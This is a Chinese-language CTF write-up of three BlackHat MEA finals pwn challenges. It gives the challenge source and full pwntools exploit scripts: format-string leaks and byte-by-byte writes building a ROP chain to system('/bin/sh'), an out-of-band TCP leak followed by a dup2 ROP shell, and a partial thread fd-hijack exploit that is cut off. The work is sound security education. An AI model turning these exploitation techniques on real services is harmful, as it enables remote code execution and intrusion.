WP on Nan0inPsyLog

blackhatMEA_finals_WP

Sun, 07 Dec 2025 08:18:00 +0000

day1

pwn

verifmt

a powerful verifier bro,that’s the Verifmt

analysis

保护全开,glibc2.39环境，题目给了源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79


#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int verify_fmt(const char *fmt, size_t n_args) {
 size_t argcnt = 0;
 size_t len = strlen(fmt);

 for (size_t i = 0; i < len; i++) {
 if (fmt[i] == '%') {
 if (fmt[i+1] == '%') {
 i++;
 continue;
 }

 if (isdigit(fmt[i+1])) {
 puts("[-] Positional argument not supported");
 return 1;
 }

 if (argcnt >= n_args) {
 printf("[-] Cannot use more than %lu specifiers\n", n_args);
 return 1;
 }

 argcnt++;
 }
 }

 return 0;
}

int main() {
 size_t n_args;
 long args[4];
 char fmt[256];

 setbuf(stdin, NULL);
 setbuf(stdout, NULL);

 while (1) {
 /* Get arguments */
 printf("# of args: ");
 if (scanf("%lu", &n_args) != 1) {
 return 1;
 }

 if (n_args > 4) {
 puts("[-] Maximum of 4 arguments supported");
 continue;
 }

 memset(args, 0, sizeof(args));
 for (size_t i = 0; i < n_args; i++) {
 printf("args[%lu]: ", i);
 if (scanf("%ld", args + i) != 1) {
 return 1;
 }
 }

 /* Get format string */
 while (getchar() != '\n');
 printf("Format string: ");
 if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
 return 1;
 }

 /* Verify format string */
 if (verify_fmt(fmt, n_args)) {
 continue;
 }

 /* Enjoy! */
 printf(fmt, args[0], args[1], args[2], args[3]);
 }

 return 0;
}

% 后跟数字会直接报错，但是根据

如果我们给出的格式化字符串数量大于给出的4的限制也会直接退出所以要通过*的方式来增加偏移，并且由于是无符号无法向前泄漏

*是一个提取参数的占位符，利用合理的payload, 我们就可以合理的占掉args的参数同时仍然保证控制% 和读取的参数数量仍然在限定数字内

关于泄漏地址可以参考🚀的博客

最后程序会拆分并打印格式化字符串的内容，最多4个
可以注入\0字符绕过verify，然后用hhn覆盖\0
问题是如果只用%*进行参数弹出我们后面的r9 r10寄存器为nil,format限制的个数也会使得leak的地址是nil，因此我们需要%*c来占取掉6个参数，这样我们最后一个%p便可以打印出栈上地址指针并且据此我们可以写出进行写入的函数write_byte(addr,val):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


def send_payload(n_args, args_list, fmt_str):
 io.sendlineafter(b"# of args: ", str(n_args).encode())
 # 填充 args 数组
 for i in range(n_args):
 io.sendlineafter(f"args[{i}]: ".encode(), str(args_list[i]).encode())
 io.sendlineafter(b"Format string: ", fmt_str)

def write_byte(addr, val):
 """
 使用 %*c%hhn 写入 1 字节
 args[0] = 写入值 (width)
 args[1] = 0 (char)
 args[2] = 目标地址 (pointer)
 """
 # 如果要写入 0x00，必须输出 0x100 (256) 个字符，%hhn 截断为 0x00 from小伞
 if val == 0:
 val = 256

 # args[0] = width/value, args[1] = char, args[2] = pointer
 args_write = [val, 0, addr, 0]

 # 构造 Payload: %*c 消耗 args[0], args[1]； %hhn 消耗 args[2]
 # n_args=3 或 4 均可 (我们用 4)
 send_payload(4, args_write, b"%*c%hhn")

最后写入的时候我们通过泄漏出来的栈指针来指向到返回地址进行写入，因为有while所以有足够的写入机会，只要单字节一个个写入地址即可

exp

不知道为什么就本地docker不能通，明明libc拉的就是容器里的

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167


import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./chall"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "localhost"
remote_port = "13337"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(
 io,
 gdbscript="""
 """,
 )
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename, checksec=False)
if libc_name:
 libc = ELF(libc_name, checksec=False)
else:
 libc=elf.libc


def send_payload(n_args, args_list, fmt_str):
 io.sendlineafter(b"# of args: ", str(n_args).encode())
 # 填充 args 数组
 for i in range(n_args):
 io.sendlineafter(f"args[{i}]: ".encode(), str(args_list[i]).encode())
 io.sendlineafter(b"Format string: ", fmt_str)


def write_byte(addr, val):
 """
 使用 %*c%hhn 写入 1 字节
 args[0] = 写入值 (width)
 args[1] = 0 (char)
 args[2] = 目标地址 (pointer)
 """
 # 如果要写入 0x00，必须输出 0x100 (256) 个字符，%hhn 截断为 0x00 from小伞
 if val == 0:
 val = 256

 # args[0] = width/value, args[1] = char, args[2] = pointer
 args_write = [val, 0, addr, 0]

 # 构造 Payload: %*c 消耗 args[0], args[1]； %hhn 消耗 args[2]
 # n_args=3 或 4 均可 (我们用 4)
 send_payload(4, args_write, b"%*c%hhn")


# Leak Addresses libc and PIE
VIO_TEXT("Sending payload to leak addresses...")

# 1. Leak Stack Address (使用 3个 %*c 跳过 Nil from RocketMadev blog)
# 预期打印 Arg 7 ([RSP+16] 或附近)
args_leak_stack = [3, 0, 0, 0]
fmt_stack = b"AAAA%*c%*c%*c%p"
send_payload(4, args_leak_stack, fmt_stack)
io.recvuntil(b"AAAA")
io.recvuntil(b"0x")
stack_leak = int(io.recvline().strip(), 16)
CLEAR_TEXT(f"Leaked stack address: {hex(stack_leak)}")

# Arb Read
store_pie_addr = stack_leak - 0x20
args_leak_pie = [0, 0, store_pie_addr, 0]
payload_pie = b"B%*c%sEND"
send_payload(4, args_leak_pie, payload_pie)
io.recvuntil(b"B")
raw_leak_pie = io.recvuntil(b"END", drop=True)
raw_leak_pie = raw_leak_pie.lstrip(b"\x00").strip()
raw_leak_pie = u64(raw_leak_pie[:7].ljust(8, b"\x00"))
pie_base = raw_leak_pie - 0x12F6
CLEAR_TEXT(f"Calculated PIE base address: {hex(pie_base)}")

# Leak Libc 
store_libc_addr = stack_leak + 0x170
args_leak_libc = [0, 0, store_libc_addr, 0]
payload_libc = b"B%*c%sEND"
send_payload(4, args_leak_libc, payload_libc)
io.recvuntil(b"B")
raw_leak_libc = io.recvuntil(b"END", drop=True)
raw_leak_libc = raw_leak_libc.lstrip(b"\x00").strip()
raw_leak_libc = u64(raw_leak_libc[:7].ljust(8, b"\x00"))
pause()
libc_base = (
 raw_leak_libc - 0x2718a
) # __libc_start_call_main+122 的偏移,要微调一下
CLEAR_TEXT(f"Calculated Libc base address: {hex(libc_base)}")

# ROP payload
VIO_TEXT("Constructing ROP chain...")

# 计算返回地址位置
OFFSET_TO_RET = 0x170
ret_addr_ptr = stack_leak + OFFSET_TO_RET
CLEAR_TEXT(f"ROP Chain Start Ptr: {hex(ret_addr_ptr)}")

pop_rdi_ret = pie_base + 0x1282
CLEAR_TEXT(f"pop rdi; ret address: {hex(pop_rdi_ret)}")

bin_sh_addr = libc_base + 0x0000000000196031
CLEAR_TEXT(f"/bin/sh address: {hex(bin_sh_addr)}")
system_addr = libc_base + 0x4C330
exit_addr = libc_base + libc.sym["exit"]
ret_addr = pie_base + 0x101A
CLEAR_TEXT(f"system address: {hex(system_addr)}")
ROP_CHAIN = [
 pop_rdi_ret,
 bin_sh_addr,
 ret_addr,
 system_addr,
]
VIO_TEXT("Writing ROP Chain byte-by-byte...")

current_write_ptr = ret_addr_ptr

for addr in ROP_CHAIN:
 for i in range(8):
 byte_to_write = (addr >> (8 * i)) & 0xFF # 对齐用

 # 写入
 write_byte(current_write_ptr + i, byte_to_write)

 # 移动到下一个地址的起始点
 current_write_ptr += 8

CLEAR_TEXT("ROP Chain written successfully.")

VIO_TEXT("Triggering the overwritten return address...")

# pause()
# 发送非数字字符，使 scanf 失败，main 函数 return，触发 ROP 链
io.sendlineafter(b"# of args: ", b"#")

io.interactive()

StackPrelude

一首前奏曲(Prelude)，准备好迎接不可能的栈溢出挑战吧

analysis

对源码进行分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90


#define _GNU_SOURCE
#include <stdio.h> // 标准输入/输出库，用于 perror
#include <stdlib.h> // 标准库，用于 atoi
#include <netinet/in.h> // 包含 sockaddr_in 结构体和 IP 宏定义
#include <sys/socket.h> // 包含 socket, bind, listen, accept 等函数
#include <sys/types.h> // 包含基本系统数据类型
#include <unistd.h> // 包含 close 函数

int main(int argc, char **argv) {
 // 客户端地址结构体 (cli) 和服务器地址结构体 (addr)，用 {0} 初始化为零
 struct sockaddr_in cli, addr = {0};
 socklen_t clen; // 客户端地址结构体的长度
 int cfd; // 客户端文件描述符 (Client File Descriptor)
 int sfd = -1; // 服务器文件描述符 (Server File Descriptor)，-1 表示未初始化或失败
 int yes = 1; // 用于 setsockopt() 设置选项的值 (开启)
 ssize_t n; // 用于存储接收数据的长度或 recv/send 的返回值
 char buf[0x100]; // 栈缓冲区，大小为 256 字节 (0x100)，用于存放客户端发送的数据
 // 解析命令行参数：如果没有参数，默认端口 31337；否则使用第一个参数作为端口号
 unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);

 // 1. 创建 Socket
 // AF_INET: IPv4 地址族；SOCK_STREAM: TCP 协议（流式套接字）；0: 默认协议
 if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
 perror("socket"); // 输出错误信息
 goto err;
 }

 // 2. 设置 Socket 选项：地址复用
 // SOL_SOCKET: 套接字级别选项；SO_REUSEADDR: 允许重用本地地址，避免 TIME_WAIT 状态导致绑定失败
 // 即使前一个进程在端口上留下了 TIME_WAIT 状态的连接，新进程也能立即启动并重新绑定到该端口，极大地提高了服务器的重启效率。
 if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
 perror("setsockopt(SO_REUSEADDR)");
 goto err;
 }

 // 3. 填充服务器地址结构体
 addr.sin_family = AF_INET;
 // htonl(): 主机字节序转网络字节序 (32位)，INADDR_ANY: 监听本机所有网络接口 (0.0.0.0)
 addr.sin_addr.s_addr = htonl(INADDR_ANY);
 // htons(): 主机字节序转网络字节序 (16位)，设置监听端口
 addr.sin_port = htons(port);

 // 4. 绑定 IP 地址和端口到 Socket
 if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
 perror("bind");
 goto err;
 }

 // 5. 开始监听连接
 // 将 Socket 设为被动模式，准备接受连接；backlog 参数为 1 (等待连接队列的最大长度)
 if (listen(sfd, 1) < 0) {
 perror("listen");
 goto err;
 }

 // 6. 接受客户端连接
 clen = sizeof(cli);
 // 阻塞等待客户端连接。连接成功后，返回新的文件描述符 cfd 用于通信
 if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
 perror("accept");
 goto err;
 }

 // 7. 进入数据处理循环 (Echo Loop)
 while (1) {
 n = 0;
 // 第一阶段接收：接收数据长度 (ssize_t，通常是 8 字节)
 // MSG_WAITALL: 确保接收到指定字节数 (sizeof(ssize_t)) 后才返回
 recv(cfd, &n, sizeof(ssize_t), MSG_WAITALL);

 // 退出条件：
 // n <= 0: 客户端断开连接或发送无效长度
 // n >= 0x200 (512): 长度超限，但注意：
 if (n <= 0 || n >= 0x200)
 break;

 // 第二阶段接收：根据 n 的大小接收数据到缓冲区 buf
 // MSG_WAITALL: 确保接收到 n 个字节后才返回
 recv(cfd, buf, n, MSG_WAITALL);

 send(cfd, buf, n, 0);
 }

 return 0;

err:
 // 错误处理标签：如果程序在任一阶段失败，跳转到这里
 if (sfd >= 0) close(sfd); // 如果 sfd 已经创建成功，则关闭它
 return 1;
}

这一题的关键在于要如何在让远程在能够大量leak数据的情况下仍能继续进行交互，这里所建立的socket服务器一次只能处理一个请求，服务器会再接受到我们发送的数据以后然后send发送回来
可以简单看一下计算机网络
第一种想法是利用TCP协议的半关闭特性，我们在四次挥手的时候首先发送一个客户端的半闭FIN包，此时不是正常关闭连接使得服务器由于MSG_WAITALL返回0从而关闭cfd，但是这种条件下我们要关闭输入的包，即便能leak数据我们也无法继续交互
~~因此只能pass了~~
第二种想法则是利用中断信号。这里使用OOB（OUT-OF-BAND），在send的时候使用urgent byte从而实现服务器端触发SIGURG信号，由于这是一个异步信号，会打断recv函数，而send依然会返回相同长度的数据并且我们仍然可以继续交互！

交互和exp

先讲讲题目如何进行交互调试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60


parser.add_argument(
 "mode", type=int, choices=[0, 1, 2], nargs="?", default=0,
 help="0=local, 1=local+gdb, 2=remote. (Default: 0)",
)

parser.add_argument(
 "-T", "--threads", type=int, default=None,
 help="Thread count for remote connections (Overrides 'mode')."
)
args = parser.parse_args()
#...
def launch():
 global io, threads
 process_argv=[filename,str(remote_port)]

 # 优先处理多线程模式 (如果 -T 被设置)
 if args.threads is not None:
 if args.threads <= 0:
 raise ValueError("Thread count must be positive.")

 threads = [remote(remote_addr, remote_port, ssl=False) for _ in range(args.threads)]
 CLEAR_TEXT(f"[*] Started {args.threads} remote threads on {remote_addr}:{remote_port}")
 return threads

 elif args.mode == 0:
 io = process(process_argv)
 CLEAR_TEXT("[*] Running on local machine (mode 0)")
 return io

 elif args.mode == 1:
 io = process(process_argv)
 CLEAR_TEXT("[*] Running on local machine with GDB (mode 1)")
 gdb.attach(io, gdbscript="""
 """)
 return io

 elif args.mode == 2:
 io = remote(remote_addr, remote_port)
 CLEAR_TEXT(f"[*] Running on remote: {remote_addr}:{remote_port} (mode 2)")
 return io
 else:
 sys.exit(1)

#...

if __name__ == "__main__":
 target = launch()

 # 判断是否为多线程模式
 if args.threads is not None:
 threads = target
 VIO_TEXT("--- Multi-Threaded Exploit Mode Active ---")
 if threads:
 VIO_TEXT("Entering interactive mode on the first thread for manual control...")
 main(threads)
 else:
 io = target
 VIO_TEXT("--- Single Connection Exploit Mode Active ---")

 io.interactive()

以上是我的脚本，在本地调试的时候首先打开程序和pwndbg并建立一个io ，然后再打开一个新的进程进行连接和交互

1
2


python exp_thread.py 1
python exp_thread.py -T 1

然后就可以在打开了pwndbg的接口进行交互了

具体情况就如图
调试在我们发送数据后打开recv的时候在第二步可以发现如下情况

socket使用fd 4作为固定的交互句柄，如果我们想要在打开shell后进行正常的靶机交互，此处我们还需要尝试使用dup2，将程序交互的fd句柄duplicate到stdout上（或者其他stdin stderr），否则得不到回显，进行的system("/bin/sh")也会直接

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134


import argparse
import sys
from pwn import *
# --------------------------
# 1. 命令行参数定义
# --------------------------
parser = argparse.ArgumentParser(description="Pwn Exploit Script with multi-mode and multi-thread support.")

parser.add_argument(
 "mode", type=int, choices=[0, 1, 2], nargs="?", default=0,
 help="0=local, 1=local+gdb, 2=remote. (Default: 0)",
)
parser.add_argument(
 "-T", "--threads", type=int, default=None,
 help="Thread count for remote connections (Overrides 'mode')."
)
args = parser.parse_args()

# --- 配置信息 ---
filename = "./chall"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "172.23.0.2" #NOTE:这里要注意不能用docker的回环地址 
remote_port = 5000
# remote_addr = "localhost" 
# remote_port = 13337

context(log_level="info", os="linux", arch=arch)

# 仅在 local/gdb 模式下，且没有使用线程模式时设置 terminal
if args.mode < 2 and args.threads is None:
 context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(filename, checksec=False)
if libc_name:
 libc = ELF(libc_name, checksec=False)

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

def launch():
 global io, threads
 process_argv=[filename,str(remote_port)]

 # 优先处理多线程模式 (如果 -T 被设置)
 if args.threads is not None:
 if args.threads <= 0:
 raise ValueError("Thread count must be positive.")

 threads = [remote(remote_addr, remote_port, ssl=False) for _ in range(args.threads)]
 CLEAR_TEXT(f"[*] Started {args.threads} remote threads on {remote_addr}:{remote_port}")
 return threads

 elif args.mode == 0:
 io = process(process_argv)
 CLEAR_TEXT("[*] Running on local machine (mode 0)")
 return io

 elif args.mode == 1:
 io = process(process_argv)
 CLEAR_TEXT("[*] Running on local machine with GDB (mode 1)")
 gdb.attach(io, gdbscript="""
 """)
 return io

 elif args.mode == 2:
 io = remote(remote_addr, remote_port,ssl=False)
 CLEAR_TEXT(f"[*] Running on remote: {remote_addr}:{remote_port} (mode 2)")
 return io
 else:
 sys.exit(1)

# 先python 1启动一个终端进行开启进程和gdb调试，然后再在另一个终端进行数据交互
def main(threads):
 t0:tube
 # 使用第一个线程进行交互泄漏和攻击 
 t0 = threads[0]
 t0.sendline(flat(0x180))
 t0.sock.send(b"A" * 2, constants.MSG_OOB)
 # or 
 # with sock.out_of_band():
 # sock.send(b"A" * 2)
 data=t0.recv()

 canary=int.from_bytes(data[0x108:0x110],"little")
 libc.address=int.from_bytes(data[0x118:0x120],"little")-0x2a1ca

 CLEAR_TEXT(f"[*] Leaked Canary: {hex(canary)}")
 CLEAR_TEXT(f"[*] Leaked Libc Base: {hex(libc.address)}")

 t0.sendline(flat(0x188))

 VIO_TEXT("[*] Sending ROP payload...")
 pop_rdi_ret=libc.address+0x000000000010f78b
 pop_rsi_ret=libc.address+0x0000000000110a7d
 ret_addr=libc.address+0x000000000002882f
 payload=flat({
 0x108-1:canary,
 0x118-1:pop_rdi_ret,
 0x120-1:4, #fd 
 0x128-1:pop_rsi_ret, # 0
 0x138-1:libc.sym['dup2'],
 0x140-1:pop_rdi_ret,
 0x148-1:4,
 0x150-1:pop_rsi_ret,
 0x158-1:1,
 0x160-1:libc.sym['dup2'],
 0x168-1:ret_addr,
 0x170-1:pop_rdi_ret,
 0x178-1:libc.search(b"/bin/sh\x00").__next__(),
 0x180-1:libc.sym['system'],
 },filler=b"\x00").ljust(0x188,b"\x00")
 t0.send(payload)
 t0.sendline(p64(0))
 t0.interactive()

if __name__ == "__main__":
 target = launch()

 # 判断是否为多线程模式
 if args.threads is not None:
 threads = target
 VIO_TEXT("--- Multi-Threaded Exploit Mode Active ---")
 if threads:
 VIO_TEXT("Entering interactive mode on the first thread for manual control...")
 main(threads)
 else:
 io = target
 VIO_TEXT("--- Single Connection Exploit Mode Active ---")
 main([io]) # Wrap io in a list to match the threads parameter
 io.interactive()

tips:

需要注意，当我们要与docker靶机进行交互的时候，不能使用回环地址lo而是要使用本机映射的docker内网IP交互，原因在于使用OOB
docker在映射端口的时候，通常在我们的机子上做了两件事：

设置 iptables 规则：将流量从宿主机端口导向 Docker 桥接网络。
启动 docker-proxy 进程：docker-proxy 或类似的组件（如 userland-proxy）在宿主机上运行，监听宿主机端口，并将流量转发到容器的内部 IP 和端口。而如果我们启动回环地址lo，内核发现目标地址是 127.0.0.1，可能会对 TCP 帧进行优化，跳过校验和等。
数据不会像普通流量一样经历应用->传输->网络->链路，而是在网络层被捕获。docker-proxy在处理回环流量不会完整维护TCP帧和Flags，因此导致OOB攻击在设置URG指针的时候由于基于TCP帧标志被优化而失败，触发不到recv的中断而泄漏数据失败，因此我们必须使用Docker的桥接网络接口

day2

pwn

Stack_Impromptu

The world impossible is not in my dictionary

analysis

保护全开
首先审计源码
main.cpp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <pthread.h>

void fatal(const char *msg) {
 perror(msg);
 pthread_exit(NULL);
}

int server_read(int &fd){
 size_t size;
 char buf[0x40];

 memset(buf, 0, sizeof(buf));
 if (read(fd, &size, sizeof(size)) != sizeof(size)
 || size > 0x100
 || read(fd, buf, size) < size)
 goto err;

 write(fd, buf, size);
 return 0;

err:
 close(fd);
 fatal("Could not receive data (read)");
 return 1;
}

void* server_main(void* arg) {
 int fd = (int)((intptr_t)arg);
 while (server_read(fd) == 0);
 return NULL;
}

int main(int argc, char** argv) {
 pthread_t th;
 struct sockaddr_in cli, addr = { 0 };
 socklen_t clen;
 int cfd, sfd = -1, yes = 1;
 unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);

 if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
 perror("socket");
 goto err;
 }

 if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
 perror("setsockopt(SO_REUSEADDR)");
 goto err;
 }

 addr.sin_family = AF_INET;
 addr.sin_addr.s_addr = htonl(INADDR_ANY);
 addr.sin_port = htons(port);

 if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
 perror("bind");
 goto err;
 }

 if (listen(sfd, 5) < 0) {
 perror("listen");
 goto err;
 }

 while (1) {
 clen = sizeof(cli);
 if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
 perror("accept");
 goto err;
 }

 pthread_create(&th, NULL, server_main, (void*)((intptr_t)cfd));
 pthread_detach(th);
 }

 return 0;

err:
 if (sfd >= 0) close(sfd);
 return 1;
}

当有一个新连接cfd创建的时候，会正常调用pthread_create，并在使用完后就用pthread_detach将其回收
很明显，是一个多线程的挑战，我们不可能直接尝试在一个线程中leak任何内存的内容，关键在于server_main和server_read

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


int server_read(int &fd){
 size_t size;
 char buf[0x40];

 memset(buf, 0, sizeof(buf));
 if (read(fd, &size, sizeof(size)) != sizeof(size)
 || size > 0x100
 || read(fd, buf, size) < size)
 goto err;

 write(fd, buf, size);
 return 0;

err:
 close(fd);
 fatal("Could not receive data (read)");
 return 1;
}

void* server_main(void* arg) {
 int fd = (int)((intptr_t)arg);
 while (server_read(fd) == 0);
 return NULL;
}

server_read有栈溢出并且会不断被调用，但是就像上一题，这一题可没有MSG_WAITALL来让我们使用中断信号leak信息了

pthread多线程，所有线程都会在一个共同的进程空间内运行，并共享全局变量、堆空间、文件描述符。每个线程仅拥有独立的栈（Stack）！

pthread存在脆弱性，由于内存共享，一个线程的溢出可能会篡改到其他线程的数据，进而导致整个进程被控制、崩溃
这道题我在比赛的时候完全没有思路，严格要求输入的格式和数据大小导致不知道如何实现泄漏，AI也只让我尝试能不能用数据去覆盖到其他线程的内存空间，而且多线程调试也没那么简单，主要是要考虑时序上的交互问题
幸运的是比赛后discord里看到个位解的一位师傅的hint:

那么swap fd具体要怎么做..?—>我们不是有pthread吗!
如果我们能通过多线程但是覆盖掉指定线程的fd，实现fd的劫持，那么是否能实现copy fd并重定向输出，最后实现内存信息的泄漏呢？

fd劫持

我们先尝试使用两个线程来查看是否真的可以劫持fd，创建两个线程

在线程栈2中查看栈底，实际空间如上图，我们完全有足够的空间去覆盖fd

由于取出的是[rbp-0x68]处的qword指针，再二次解析到存储的fd, 所以我们实际要写入0x7c的0后最后覆盖掉fd

如此一来，最后到close的时候实际关闭的则是进程1的fd了

堵塞的绕过

而因为我们实际关闭的是线程2，实际上再次分配的时候仍然是供给线程2的fd而不是复用的4 所以在尝试leak数据前必须要创建出4个线程，最后才能出现两个线程复用fd的情况

leak

这里需要使用到一个TCP重置攻击的方法
由于我们再次获得到了fd=4，而实际上原本最开始创建的线程仍然没有关闭，因此此时会直接向对方发送一个RST包强制关闭连接，而此时第四个线程会再次接手fd=4（极短时间），相当于实现

tcp恢复连接，而这时候对于建立连接的服务器来说恢复了第一个线程的连接，而又因为我们覆盖掉了线程4的fd=1，因此会将栈上的数据发送到线程4的fd=1上，从而实现leak

ROP

之后要如何利用溢出进行ROP以及如何交互？想法其实类似上文:

创建线程，利用覆盖关闭掉一个fd
再次创建线程，此时我们便可以拿到我们需要的fd以及对应的线程控制权
通过标准输入输出进行交互，因此我们基本获取远程shell

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189


import argparse
import socket
import struct
import time
import sys
from pwn import *

parser = argparse.ArgumentParser(description="Sequential start_conion Exploit")
parser.add_argument(
 "mode",
 choices=["0", "1", "2", "t"],
 nargs="?",
 default="0",
 help="0=local, 1=local+gdb, 2=remote, t=direct process (default:0)",
)
args = parser.parse_args()

filename = "./chall"
libc_name = "./libc.so.6"
arch = "amd64"

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

def stop(msg="PAUSE", code=91):
 prompt = f"\n\x1b[1;{code}m{msg}\x1b[0m"
 try:
 return raw_input(prompt)
 except EOFError:
 print("")
 pass

context(log_level="info", os="linux", arch=arch)
if args.mode == "1":
 context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(filename, checksec=False)
if libc_name:
 libc = ELF(libc_name, checksec=False)

def start_con():
 if args.mode in ["0", "t"]:
 return remote("127.0.0.1", 31337)
 else:
 return remote("172.20.0.2", 5000)

def main():
 server_proc = None
 if args.mode in ["1"]:
 server_proc = process(filename)
 # gdb.attach(server_proc, gdbscript="""
 # set follow-fork-mode parent
 # b *(main+428)
 # c
 # """)
 time.sleep(1) # 等待服务端绑定端口
 server_proc.interactive()
 return

 ("--- Starting Sequential Exploit ---")

 # 1. 建立连接并制造竞态/溢出环境
 # [s1] fd=4: 发送长度头，然后挂起
 s1 = start_con()
 time.sleep(0.1)

 # [s2] fd=5: 准备覆盖
 s2 = start_con()

 VIO_TEXT("Sending size header to s1...")
 s1.send(p64(0x100))
 time.sleep(0.25) # 必须等待，确保 s1 的线程进入 read(fd, buf, size) 状态

 VIO_TEXT("Sending payload via s2...")
 s2.send(p64(0x100))
 # s2 发送 payload 覆盖s1的fd
 s2.send(b"\x00" * 0x7C + p32(4))
 time.sleep(0.5)
 # stop("send data from s2")

 # 由于socket的分配机制，这里实际分配到的仍然是供给s2的fd，但是不是4，作为缓冲
 s3 = start_con()
 time.sleep(0.1)
 # stop("get a new fd")

 # fd=4 被重用: 用来接收 Leak
 s4 = start_con()
 time.sleep(0.1)

 VIO_TEXT("Triggering leak via s4...")
